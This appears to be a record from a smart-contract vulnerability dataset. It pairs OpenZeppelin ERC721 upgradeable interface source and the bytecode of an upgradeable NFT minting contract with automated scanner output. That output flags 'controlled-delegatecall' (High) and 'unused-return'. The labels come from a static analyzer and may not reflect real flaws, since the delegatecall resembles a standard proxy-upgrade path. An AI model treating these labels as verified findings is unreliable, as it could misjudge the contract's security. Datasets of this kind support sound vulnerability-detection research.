which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); }
0x6080604052600436106102465760003560e01c806370a0823111610139578063b12dab6e116100b6578063c87b56dd1161007a578063c87b56dd1461067b578063c8c6cbd71461069b578063d547741f146106bb578063e932406f146106db578063e985e9c5146106fd578063f2fde38b1461074657600080fd5b8063b12dab6e146105f6578063b6b6f0c31461060d578063b88d4fde14610624578063bd32fb6614610644578063bdb4b8481461066457600080fd5b80639205b245116100fd5780639205b2451461056c57806395d89b411461058c578063a0bcfc7f146105a1578063a217fddf146105c1578063a22cb465146105d657600080fd5b806370a08231146104d75780637cd6a9a9146104f75780638456cb59146105175780638545f4ea1461052c57806391d148541461054c57600080fd5b80633659cfe6116101c75780634f1ef2861161018b5780634f1ef286146104585780635a4fee301461046b5780635c975abb1461048b5780636352211e146104a45780636a627842146104c457600080fd5b80633659cfe6146103ce5780633ccfd60b146103ee5780633f4ba83a1461040357806342842e0e1461041857806342966c681461043857600080fd5b8063248a9ca31161020e578063248a9ca31461031c578063270275511461035b5780632904e6d91461037b5780632f2ff15d1461038e57806336568abe146103ae57600080fd5b806301ffc9a71461024b57806306fdde0314610280578063081812fc146102a2578063095ea7b3146102da57806323b872dd146102fc575b600080fd5b34801561025757600080fd5b5061026b610266366004612dde565b610766565b60405190151581526020015b60405180910390f35b34801561028c57600080fd5b50610295610777565b6040516102779190612e53565b3480156102ae57600080fd5b506102c26102bd366004612e66565b610809565b6040516001600160a01b039091168152602001610277565b3480156102e657600080fd5b506102fa6102f5366004612e9b565b610896565b005b34801561030857600080fd5b506102fa610317366004612ec5565b6109ac565b34801561032857600080fd5b5061034d610337366004612e66565b600090815261012d602052604090206001015490565b604051908152602001610277565b34801561036757600080fd5b506102fa610376366004612f8d565b6109de565b6102fa61038936600461302d565b610bb1565b34801561039a57600080fd5b506102fa6103a9366004613078565b610ca6565b3480156103ba57600080fd5b506102fa6103c9366004613078565b610ccd565b3480156103da57600080fd5b506102fa6103e93660046130a4565b610d4b565b3480156103fa57600080fd5b506102fa610e14565b34801561040f57600080fd5b506102fa610e37565b34801561042457600080fd5b506102fa610433366004612ec5565b610e58565b34801561044457600080fd5b506102fa610453366004612e66565b610e73565b6102fa610466366004613161565b610ed1565b34801561047757600080fd5b506102fa6104863660046131ae565b610f87565b34801561049757600080fd5b5061015f5460ff1661026b565b3480156104b057600080fd5b506102c26104bf366004612e66565b610fce565b6102fa6104d23660046130a4565b611045565b3480156104e357600080fd5b5061034d6104f23660046130a4565b611052565b34801561050357600080fd5b506102fa610512366004612e66565b6110d9565b34801561052357600080fd5b506102fa6110f9565b34801561053857600080fd5b506102fa610547366004612e66565b61111a565b34801561055857600080fd5b5061026b610567366004613078565b61113a565b34801561057857600080fd5b506102fa610587366004613238565b611166565b34801561059857600080fd5b50610295611265565b3480156105ad57600080fd5b506102fa6105bc366004613283565b611274565b3480156105cd57600080fd5b5061034d600081565b3480156105e257600080fd5b506102fa6105f13660046132c4565b6112a0565b34801561060257600080fd5b5061034d6101985481565b34801561061957600080fd5b5061034d6101975481565b34801561063057600080fd5b506102fa61063f366004613300565b6112ab565b34801561065057600080fd5b506102fa61065f366004612e66565b6112dd565b34801561067057600080fd5b5061034d6101965481565b34801561068757600080fd5b50610295610696366004612e66565b6112fd565b3480156106a757600080fd5b506102fa6106b6366004613367565b611474565b3480156106c757600080fd5b506102fa6106d6366004613078565b611490565b3480156106e757600080fd5b5061034d6000805160206138db83398151915281565b34801561070957600080fd5b5061026b6107183660046133c7565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b34801561075257600080fd5b506102fa6107613660046130a4565b6114b7565b60006107718261152c565b92915050565b606060658054610786906133f1565b80601f01602080910402602001604051908101604052809291908181526020018280546107b2906133f1565b80156107ff5780601f106107d4576101008083540402835291602001916107ff565b820191906000526020600020905b8154815290600101906020018083116107e257829003601f168201915b5050505050905090565b600061081482611551565b61087a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152606960205260409020546001600160a01b031690565b60006108a182610fce565b9050806001600160a01b0316836001600160a01b0316141561090f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610871565b336001600160a01b038216148061092b575061092b8133610718565b61099d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610871565b6109a7838361156e565b505050565b6109b7335b826115dc565b6109d35760405162461bcd60e51b81526004016108719061342c565b6109a78383836116c2565b600054610100900460ff166109f95760005460ff16156109fd565b303b155b610a605760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610871565b600054610100900460ff16158015610a82576000805461ffff19166101011790555b610acc6040518060400160405280600c81526020016b4d616368696e6174696f6e7360a01b8152506040518060400160405280600481526020016309a8286960e31b81525061186d565b610ad46118ae565b610adc6118e7565b610ae461190e565b610aec6118e7565b610af760008b611942565b60005b88811015610b5057610b406000805160206138db8339815191528b8b84818110610b2657610b2661347d565b9050602002016020810190610b3b91906130a4565b611942565b610b49816134a9565b9050610afa565b5061019580546001600160a01b0319166001600160a01b038c16179055610b7a6101948888612c81565b506101978590556101968490556101988390556101998290558015610ba5576000805461ff00191690555b50505050505050505050565b610bbd838333846119c9565b610c095760405162461bcd60e51b815260206004820152601e60248201527f57686974656c697374204d65726b6c652070726f6f6620696e76616c696400006044820152606401610871565b33600090815261019a60205260409020548111610c775760405162461bcd60e51b815260206004820152602660248201527f4d696e746564206d6178206e756d626572206f662077686974656c697374656460448201526520776f726b7360d01b6064820152608401610871565b33600090815261019a602052604081208054909190610c95906134a9565b909155506109a73361019854611a1f565b600082815261012d6020526040902060010154610cc38133611b14565b6109a78383611942565b6001600160a01b0381163314610d3d5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610871565b610d478282611b78565b5050565b306001600160a01b037f00000000000000000000000095baadb939345ee9d446b8946aa0b912994cdb9c161415610d945760405162461bcd60e51b8152600401610871906134c4565b7f00000000000000000000000095baadb939345ee9d446b8946aa0b912994cdb9c6001600160a01b0316610dc6611be0565b6001600160a01b031614610dec5760405162461bcd60e51b815260040161087190613510565b610df581611c0e565b60408051600080825260208201909252610e1191839190611c1a565b50565b6000610e208133611b14565b61019554610e11906001600160a01b031647611d65565b6000805160206138db833981519152610e508133611b14565b610e11611e7e565b6109a7838383604051806020016040528060008152506112ab565b610e7c336109b1565b610ec85760405162461bcd60e51b815260206004820152601f60248201527f43616c6c6572206973206e6f74206f776e6572206f7220617070726f766564006044820152606401610871565b610e1181611f13565b306001600160a01b037f00000000000000000000000095baadb939345ee9d446b8946aa0b912994cdb9c161415610f1a5760405162461bcd60e51b8152600401610871906134c4565b7f00000000000000000000000095baadb939345ee9d446b8946aa0b912994cdb9c6001600160a01b0316610f4c611be0565b6001600160a01b031614610f725760405162461bcd60e51b815260040161087190613510565b610f7b82611c0e565b610d4782826001611c1a565b60005b82811015610fc657610fb68686868685818110610fa957610fa961347d565b90506020020135856112ab565b610fbf816134a9565b9050610f8a565b505050505050565b6000818152606760205260408120546001600160a01b0316806107715760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610871565b610e118161019654611a1f565b60006001600160a01b0382166110bd5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610871565b506001600160a01b031660009081526068602052604090205490565b6000805160206138db8339815191526110f28133611b14565b5061019855565b6000805160206138db8339815191526111128133611b14565b610e11611f53565b6000805160206138db8339815191526111338133611b14565b5061019655565b600091825261012d602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6000805160206138db83398151915261117f8133611b14565b61118b61019285611fd0565b156111d85760405162461bcd60e51b815260206004820152601e60248201527f546f6b656e732063616e206f6e6c792062652066726f7a656e206f6e636500006044820152606401610871565b6112188484848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611feb92505050565b61122461019285612076565b50837fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b55657207848460405161125792919061355c565b60405180910390a250505050565b606060668054610786906133f1565b6000805160206138db83398151915261128d8133611b14565b61129a6101948484612c81565b50505050565b610d47338383612082565b6112b533836115dc565b6112d15760405162461bcd60e51b81526004016108719061342c565b61129a84848484612151565b6000805160206138db8339815191526112f68133611b14565b5061019955565b606061130882611551565b61136e5760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f72206044820152703737b732bc34b9ba32b73a103a37b5b2b760791b6064820152608401610871565b60008281526097602052604081208054611387906133f1565b80601f01602080910402602001604051908101604052809291908181526020018280546113b3906133f1565b80156114005780601f106113d557610100808354040283529160200191611400565b820191906000526020600020905b8154815290600101906020018083116113e357829003601f168201915b50505050509050600061141e60408051602081019091526000815290565b9050805160001415611431575092915050565b81511561146357808260405160200161144b9291906135a7565b60405160208183030381529060405292505050919050565b61146c84612184565b949350505050565b61129a8484848460405180602001604052806000815250610f87565b600082815261012d60205260409020600101546114ad8133611b14565b6109a78383611b78565b60006114c38133611b14565b61019580546001600160a01b038481166001600160a01b031983168117909355604080519190921680825260208201939093527f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0910160405180910390a1505050565b3b151590565b60006001600160e01b03198216637965db0b60e01b148061077157506107718261225b565b6000908152606760205260409020546001600160a01b0316151590565b600081815260696020526040902080546001600160a01b0319166001600160a01b03841690811790915581906115a382610fce565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006115e782611551565b6116485760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610871565b600061165383610fce565b9050806001600160a01b0316846001600160a01b0316148061168e5750836001600160a01b031661168384610809565b6001600160a01b0316145b8061146c57506001600160a01b038082166000908152606a602090815260408083209388168352929052205460ff1661146c565b826001600160a01b03166116d582610fce565b6001600160a01b03161461173d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610871565b6001600160a01b03821661179f5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610871565b6117aa8383836122ab565b6117b560008261156e565b6001600160a01b03831660009081526068602052604081208054600192906117de9084906135d6565b90915550506001600160a01b038216600090815260686020526040812080546001929061180c9084906135ed565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600054610100900460ff166118945760405162461bcd60e51b815260040161087190613605565b61189c6118e7565b6118a46118e7565b610d4782826122ff565b600054610100900460ff166118d55760405162461bcd60e51b815260040161087190613605565b6118dd6118e7565b6118e56118e7565b565b600054610100900460ff166118e55760405162461bcd60e51b815260040161087190613605565b600054610100900460ff166119355760405162461bcd60e51b815260040161087190613605565b61015f805460ff19169055565b61194c828261113a565b610d4757600082815261012d602090815260408083206001600160a01b03851684529091529020805460ff191660011790556119853390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000611a1685858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050610199549150611a119050868661234d565b61239b565b95945050505050565b80341015611a665760405162461bcd60e51b81526020600482015260146024820152734d696e74207061796d656e7420746f6f206c6f7760601b6044820152606401610871565b6000611a726101915490565b9050610197548110611ac65760405162461bcd60e51b815260206004820152601b60248201527f4d6178206e756d626572206f66206d696e7473207265616368656400000000006044820152606401610871565b611ad083826123b1565b611b0581610194611ae0846123cb565b604051602001611af1929190613650565b604051602081830303815290604052611feb565b6109a761019180546001019055565b611b1e828261113a565b610d4757611b36816001600160a01b031660146124c8565b611b418360206124c8565b604051602001611b52929190613702565b60408051601f198184030181529082905262461bcd60e51b825261087191600401612e53565b611b82828261113a565b15610d4757600082815261012d602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b6000610d478133611b14565b6000611c24611be0565b9050611c2f84612663565b600083511180611c3c5750815b15611c4d57611c4b8484612708565b505b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143805460ff16611d5e57805460ff191660011781556040516001600160a01b0383166024820152611ccc90869060440160408051601f198184030181529190526020810180516001600160e01b0316631b2ce7f360e11b179052612708565b50805460ff19168155611cdd611be0565b6001600160a01b0316826001600160a01b031614611d555760405162461bcd60e51b815260206004820152602f60248201527f45524331393637557067726164653a207570677261646520627265616b73206660448201526e75727468657220757067726164657360881b6064820152608401610871565b611d5e856127ea565b5050505050565b80471015611db55760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610871565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e02576040519150601f19603f3d011682016040523d82523d6000602084013e611e07565b606091505b50509050806109a75760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610871565b61015f5460ff16611ec85760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610871565b61015f805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b611f1c8161282a565b60008181526097602052604090208054611f35906133f1565b159050610e11576000818152609760205260408120610e1191612d05565b61015f5460ff1615611f9a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610871565b61015f805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611ef63390565b600081815260018301602052604081205415155b9392505050565b611ff482611551565b6120575760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b6064820152608401610871565b600082815260976020908152604090912082516109a792840190612d3f565b6000611fe483836128d1565b816001600160a01b0316836001600160a01b031614156120e45760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610871565b6001600160a01b038381166000818152606a6020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61215c8484846116c2565b61216884848484612920565b61129a5760405162461bcd60e51b815260040161087190613777565b606061218f82611551565b6121f35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610871565b600061220a60408051602081019091526000815290565b9050600081511161222a5760405180602001604052806000815250611fe4565b80612234846123cb565b6040516020016122459291906135a7565b6040516020818303038152906040529392505050565b60006001600160e01b031982166380ac58cd60e01b148061228c57506001600160e01b03198216635b5e139f60e01b145b8061077157506301ffc9a760e01b6001600160e01b0319831614610771565b61015f5460ff16156109a75760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e207472616e73666572207768696c652070617573656400000000006044820152606401610871565b600054610100900460ff166123265760405162461bcd60e51b815260040161087190613605565b8151612339906065906020850190612d3f565b5080516109a7906066906020840190612d3f565b6000818360405160200161237d92919091825260601b6bffffffffffffffffffffffff1916602082015260340190565b60405160208183030381529060405280519060200120905092915050565b6000826123a88584612a2a565b14949350505050565b610d47828260405180602001604052806000815250612ad6565b6060816123ef5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156124195780612403816134a9565b91506124129050600a836137df565b91506123f3565b6000816001600160401b03811115612433576124336130bf565b6040519080825280601f01601f19166020018201604052801561245d576020820181803683370190505b5090505b841561146c576124726001836135d6565b915061247f600a866137f3565b61248a9060306135ed565b60f81b81838151811061249f5761249f61347d565b60200101906001600160f81b031916908160001a9053506124c1600a866137df565b9450612461565b606060006124d7836002613807565b6124e29060026135ed565b6001600160401b038111156124f9576124f96130bf565b6040519080825280601f01601f191660200182016040528015612523576020820181803683370190505b509050600360fc1b8160008151811061253e5761253e61347d565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061256d5761256d61347d565b60200101906001600160f81b031916908160001a9053506000612591846002613807565b61259c9060016135ed565b90505b6001811115612614576f181899199a1a9b1b9c1cb0b131b232b360811b85600f16601081106125d0576125d061347d565b1a60f81b8282815181106125e6576125e661347d565b60200101906001600160f81b031916908160001a90535060049490941c9361260d81613826565b905061259f565b508315611fe45760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610871565b803b6126c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610871565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060823b6127675760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610871565b600080846001600160a01b031684604051612782919061383d565b600060405180830381855af49150503d80600081146127bd576040519150601f19603f3d011682016040523d82523d6000602084013e6127c2565b606091505b5091509150611a1682826040518060600160405280602781526020016138b460279139612b09565b6127f381612663565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b600061283582610fce565b9050612843816000846122ab565b61284e60008361156e565b6001600160a01b03811660009081526068602052604081208054600192906128779084906135d6565b909155505060008281526067602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600081815260018301602052604081205461291857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610771565b506000610771565b60006001600160a01b0384163b15612a2257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612964903390899088908890600401613859565b602060405180830381600087803b15801561297e57600080fd5b505af19250505080156129ae575060408051601f3d908101601f191682019092526129ab91810190613896565b60015b612a08573d8080156129dc576040519150601f19603f3d011682016040523d82523d6000602084013e6129e1565b606091505b508051612a005760405162461bcd60e51b815260040161087190613777565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061146c565b50600161146c565b600081815b8451811015612ace576000858281518110612a4c57612a4c61347d565b60200260200101519050808311612a8e576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250612abb565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080612ac6816134a9565b915050612a2f565b509392505050565b612ae08383612b42565b612aed6000848484612920565b6109a75760405162461bcd60e51b815260040161087190613777565b60608315612b18575081611fe4565b825115612b285782518084602001fd5b8160405162461bcd60e51b81526004016108719190612e53565b6001600160a01b038216612b985760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610871565b612ba181611551565b15612bee5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610871565b612bfa600083836122ab565b6001600160a01b0382166000908152606860205260408120805460019290612c239084906135ed565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612c8d906133f1565b90600052602060002090601f016020900481019282612caf5760008555612cf5565b82601f10612cc85782800160ff19823516178555612cf5565b82800160010185558215612cf5579182015b82811115612cf5578235825591602001919060010190612cda565b50612d01929150612db3565b5090565b508054612d11906133f1565b6000825580601f10612d21575050565b601f016020900490600052602060002090810190610e119190612db3565b828054612d4b906133f1565b90600052602060002090601f016020900481019282612d6d5760008555612cf5565b82601f10612d8657805160ff1916838001178555612cf5565b82800160010185558215612cf5579182015b82811115612cf5578251825591602001919060010190612d98565b5b80821115612d015760008155600101612db4565b6001600160e01b031981168114610e1157600080fd5b600060208284031215612df057600080fd5b8135611fe481612dc8565b60005b83811015612e16578181015183820152602001612dfe565b8381111561129a5750506000910152565b60008151808452612e3f816020860160208601612dfb565b601f01601f19169290920160200192915050565b602081526000611fe46020830184612e27565b600060208284031215612e7857600080fd5b5035919050565b80356001600160a01b0381168114612e9657600080fd5b919050565b60008060408385031215612eae57600080fd5b612eb783612e7f565b946020939093013593505050565b600080600060608486031215612eda57600080fd5b612ee384612e7f565b9250612ef160208501612e7f565b9150604084013590509250925092565b60008083601f840112612f1357600080fd5b5081356001600160401b03811115612f2a57600080fd5b6020830191508360208260051b8501011115612f4557600080fd5b9250929050565b60008083601f840112612f5e57600080fd5b5081356001600160401b03811115612f7557600080fd5b602083019150836020828501011115612f4557600080fd5b600080600080600080600080600060e08a8c031215612fab57600080fd5b612fb48a612e7f565b985060208a01356001600160401b0380821115612fd057600080fd5b612fdc8d838e01612f01565b909a50985060408c0135915080821115612ff557600080fd5b506130028c828d01612f4c565b9a9d999c50979a9799986060890135986080810135985060a0810135975060c0013595509350505050565b60008060006040848603121561304257600080fd5b83356001600160401b0381111561305857600080fd5b61306486828701612f01565b909790965060209590950135949350505050565b6000806040838503121561308b57600080fd5b8235915061309b60208401612e7f565b90509250929050565b6000602082840312156130b657600080fd5b611fe482612e7f565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126130e657600080fd5b81356001600160401b0380821115613100576131006130bf565b604051601f8301601f19908116603f01168101908282118183101715613128576131286130bf565b8160405283815286602085880101111561314157600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561317457600080fd5b61317d83612e7f565b915060208301356001600160401b0381111561319857600080fd5b6131a4858286016130d5565b9150509250929050565b6000806000806000608086880312156131c657600080fd5b6131cf86612e7f565b94506131dd60208701612e7f565b935060408601356001600160401b03808211156131f957600080fd5b61320589838a01612f01565b9095509350606088013591508082111561321e57600080fd5b5061322b888289016130d5565b9150509295509295909350565b60008060006040848603121561324d57600080fd5b8335925060208401356001600160401b0381111561326a57600080fd5b61327686828701612f4c565b9497909650939450505050565b6000806020838503121561329657600080fd5b82356001600160401b038111156132ac57600080fd5b6132b885828601612f4c565b90969095509350505050565b600080604083850312156132d757600080fd5b6132e083612e7f565b9150602083013580151581146132f557600080fd5b809150509250929050565b6000806000806080858703121561331657600080fd5b61331f85612e7f565b935061332d60208601612e7f565b92506040850135915060608501356001600160401b0381111561334f57600080fd5b61335b878288016130d5565b91505092959194509250565b6000806000806060858703121561337d57600080fd5b61338685612e7f565b935061339460208601612e7f565b925060408501356001600160401b038111156133af57600080fd5b6133bb87828801612f01565b95989497509550505050565b600080604083850312156133da57600080fd5b6133e383612e7f565b915061309b60208401612e7f565b600181811c9082168061340557607f821691505b6020821081141561342657634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156134bd576134bd613493565b5060010190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6000815161359d818560208601612dfb565b9290920192915050565b600083516135b9818460208801612dfb565b8351908301906135cd818360208801612dfb565b01949350505050565b6000828210156135e8576135e8613493565b500390565b6000821982111561360057613600613493565b500190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b600080845481600182811c91508083168061366c57607f831692505b602080841082141561368c57634e487b7160e01b86526022600452602486fd5b8180156136a057600181146136b1576136de565b60ff198616895284890196506136de565b60008b81526020902060005b868110156136d65781548b8201529085019083016136bd565b505084890196505b505050505050611a166136f1828661358b565b64173539b7b760d91b815260050190565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161373a816017850160208801612dfb565b7001034b99036b4b9b9b4b733903937b6329607d1b601791840191820152835161376b816028840160208801612dfb565b01602801949350505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826137ee576137ee6137c9565b500490565b600082613802576138026137c9565b500690565b600081600019048311821515161561382157613821613493565b500290565b60008161383557613835613493565b506000190190565b6000825161384f818460208701612dfb565b9190910192915050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061388c90830184612e27565b9695505050505050565b6000602082840312156138a857600080fd5b8151611fe481612dc856fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564950b8f2d7415defaee398bb4898e8e094a64c725873b81952b7ab9f08d70efb3a2646970667358221220b5ae880c91e65361e096b8c58617cb9bbf313823374c60c63f5a1d200e69f1fc64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
